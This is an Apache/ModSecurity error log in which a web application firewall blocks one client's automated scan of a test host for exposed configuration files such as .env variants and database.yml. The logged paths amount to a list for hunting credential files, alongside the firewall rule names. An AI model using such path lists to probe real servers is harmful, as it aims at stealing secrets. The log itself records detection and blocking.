[Wed Feb 25 06:04:31.075926 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCxgAAAAU&quot;]
[Wed Feb 25 06:04:31.076220 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCxgAAAAU&quot;]
[Wed Feb 25 06:04:31.076452 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCxgAAAAU&quot;]
[Wed Feb 25 06:04:31.124616 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.travis&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCxwAAAAU&quot;]
[Wed Feb 25 06:04:31.124909 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCxwAAAAU&quot;]
[Wed Feb 25 06:04:31.125103 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCxwAAAAU&quot;]
[Wed Feb 25 06:04:31.185424 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCyAAAAAU&quot;]
[Wed Feb 25 06:04:31.185705 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCyAAAAAU&quot;]
[Wed Feb 25 06:04:31.185885 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCyAAAAAU&quot;]
[Wed Feb 25 06:04:31.249948 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCyQAAAAU&quot;]
[Wed Feb 25 06:04:31.250233 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCyQAAAAU&quot;]
[Wed Feb 25 06:04:31.250440 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCyQAAAAU&quot;]
[Wed Feb 25 06:04:31.340508 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCygAAAAU&quot;]
[Wed Feb 25 06:04:31.340804 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCygAAAAU&quot;]
[Wed Feb 25 06:04:31.341009 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCygAAAAU&quot;]
[Wed Feb 25 06:04:31.342440 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZgAAAAAY&quot;]
[Wed Feb 25 06:04:31.342709 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZgAAAAAY&quot;]
[Wed Feb 25 06:04:31.342867 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZgAAAAAY&quot;]
[Wed Feb 25 06:04:31.452147 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZggAAAAY&quot;]
[Wed Feb 25 06:04:31.452436 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZggAAAAY&quot;]
[Wed Feb 25 06:04:31.452650 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZggAAAAY&quot;]
[Wed Feb 25 06:04:31.492341 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cms/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZgwAAAAY&quot;]
[Wed Feb 25 06:04:31.492640 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZgwAAAAY&quot;]
[Wed Feb 25 06:04:31.492833 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZgwAAAAY&quot;]
[Wed Feb 25 06:04:31.527048 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCywAAAAU&quot;]
[Wed Feb 25 06:04:31.527345 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCywAAAAU&quot;]
[Wed Feb 25 06:04:31.527541 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCywAAAAU&quot;]
[Wed Feb 25 06:04:31.566615 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCzAAAAAU&quot;]
[Wed Feb 25 06:04:31.566929 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCzAAAAAU&quot;]
[Wed Feb 25 06:04:31.567168 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCzAAAAAU&quot;]
[Wed Feb 25 06:04:31.582808 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhAAAAAY&quot;]
[Wed Feb 25 06:04:31.583107 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhAAAAAY&quot;]
[Wed Feb 25 06:04:31.583309 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhAAAAAY&quot;]
